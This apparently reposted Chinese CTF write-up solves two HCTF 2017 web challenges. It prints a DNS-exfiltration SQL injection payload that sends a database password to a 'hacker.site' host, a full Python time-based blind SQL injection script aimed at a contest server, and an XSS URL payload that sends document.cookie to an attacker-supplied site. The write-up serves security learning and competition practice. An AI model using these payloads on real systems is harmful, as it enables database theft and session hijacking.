时间过的真快,又一年的hctf结束了。记录一下自己做的两道web题。
boring website
扫了一下得到www.zip。内容如下。

根据题目的提示以及代码中的注释再加上一波google,我们可以得知mssql使用了link server来连接mysql,并且flag在mysql的数据库中。这里没有任何回显,且把mysql中的两个延时函数给ban了,似乎无法盲注。
先说预期解,使用dns通道来外带数据(仅限于win)。居然没想到。我好菜啊.jpg
?id=1 union select * from openquery(mysql,'select load_file(concat("\\\\",(select password from secret),".hacker.site\\a.txt"))')
真的没办法盲注了吗?仔细看下面这段php代码。
while ( @$row = $stmt->fetch( PDO::FETCH_ASSOC ) ){ //TO DO: ... //It's time to sleep... }
fetch中的参数是PDO::FETCH_ASSOC,查阅一下官方文档:
PDO::FETCH_ASSOC: returns an array indexed by column name as returned in your result set
即能够返回一个以列名为索引的数组。我们来做个实验,实验代码如下,由源码稍稍改动。
<?php try { $conn = new PDO( "mysql:host=localhost;dbname=test", 'root', ''); } catch( PDOException $e ) { die( "Error connecting to SQL Server".$e->getMessage() ); } #echo "Connected to MySQL<br />"; echo "Connected to SQL Server<br />"; $id = $_GET['id']; $query = "select pw from test where id = $id"; //link server: On linkname:mysql $stmt = $conn->query( $query ); while ( @$row = $stmt->fetch( PDO::FETCH_ASSOC ) ){ //TO DO: ... //It's time to sleep... echo 1; } ?>
http://localhost/index.php?id=1
当我们的查询结果只有一行的时候,只进行了一次循环。

http://localhost/index.php?id=1 union select 2
当我们的查询结果有两行的时候,能够进行两次循环。这都是符合预期的。

那么,如果我们能够查出无数行呢,理论上是不是可以无限循环造成延时?
比如我 union select column_name from information_schema.columns
多次。

对比一下查询结果只有1行的延时。

再对比一下 union select column_name from information_schema.columns where 1=2
多次的结果。于是乎就可以使用延时盲注了。

原理即利用了php运行代码时的延迟。事实上题目环境中的延时效果要更加明显一点,有个坑就是注入点在url里面而url不能过长不然server会报400的错。
# coding=utf-8 import requests import time import threading class sqli_scanner(object): def __init__(self, iurl, icookie, iinput, im, idelay): self.url = iurl self.cookie = icookie self.input = iinput self.m = im self.delay = idelay def doinject(self, i, num): payload = self.m % "ascii(substring((%s),%d,1))>%d" payload = payload % (self.input, i+1, num) a = payload for j in range(10): payload += a data = {'id': '1' + payload} try: r = requests.get(self.url, params=data, timeout=1) #time.sleep(self.delay) return False except: return True def getlength(self): for i in range(0, 100): payload = self.m % "length((%s))=%d" payload = payload % (self.input, i) a = payload for j in range(10): payload += a data = {'id': '1' + payload} try: r = requests.get(self.url, params=data, timeout=1) #time.sleep(self.delay) #print r.content except: print 'length:%d' % i return i def getvalue(self, len): flag = '' for i in range(len): s = 33 t = 126 while (s < t): m = (s + t) / 2 result = self.doinject(i, m) if result: s = m + 1 else: t = m if (t - s <= 1): if (self.doinject(i, s)): m = t break else: m = s break #print m flag += chr(m) print flag if __name__ == '__main__': url = 'http://106.15.53.124:38324/' sqli_input = "select password from secret" cookie = {} m = " union select * from openquery(mysql, 'select column_name from information_schema.columns where if(%s,1,0)')" delay = 0 s = sqli_scanner(url, cookie, sqli_input, m, delay) length = s.getlength() s.getvalue(length)
这种做法不值得推荐,不过思路可以供大家参考一下。
A World Restored & A World Restored Again
xss题,有两个flag,只拿到了第一个。其实拿到第二个flag的条件也很简单,因为flag2的有效域为2017.hctf.io,所以auth.2017.hctf.io域的xss就能打到cookie。然而当我看到auth域和messbox域的cookie都是httponly的时候就没往打cookie的思路去想了。
flag1:
http://auth.2017.hctf.io/login.php?n_url=http://{you_website}
flag2:
http://auth.2017.hctf.io/login.php?n_url=http://{you_website}/?cookie='+document.cookie;//
官方wp
注:本文内容来自互联网,旨在为开发者提供分享、交流的平台。如有涉及文章版权等事宜,请你联系站长进行处理。